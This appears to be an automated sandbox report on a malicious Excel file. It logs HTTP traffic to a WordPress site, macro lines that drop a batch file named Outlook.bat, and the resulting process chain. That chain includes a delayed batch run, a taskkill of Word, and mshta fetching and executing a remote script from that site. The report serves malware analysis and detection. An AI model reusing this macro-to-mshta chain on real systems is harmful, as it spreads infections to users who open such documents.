Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.5:49773 version: TLS 1.2

Source: C:\Windows\SysWOW64\mshta.exe

Windows user hook set: 0 mouse low level C:\Windows\system32\dinput8.dll

Jump to behavior

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	OLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"
Source: VBA code instrumentation	OLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open, String environ: sFile = Environ("Public") & "\Outlook.bat"			Name: Workbook_Open

Source: SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	OLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open			Name: Workbook_Open

Source: SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls

OLE indicator, VBA macros: true

Source: SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Virustotal: Detection: 48%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Metadefender: Detection: 27%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	ReversingLabs: Detection: 57%

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "WINWORD.EXE")

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{70AE4216-3EDB-49E3-B689-D328551EBC3F} - OProcSessId.dat

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@13/88@4/5

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5800:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2700:120:WilError_01

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit

Source: C:\Windows\SysWOW64\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
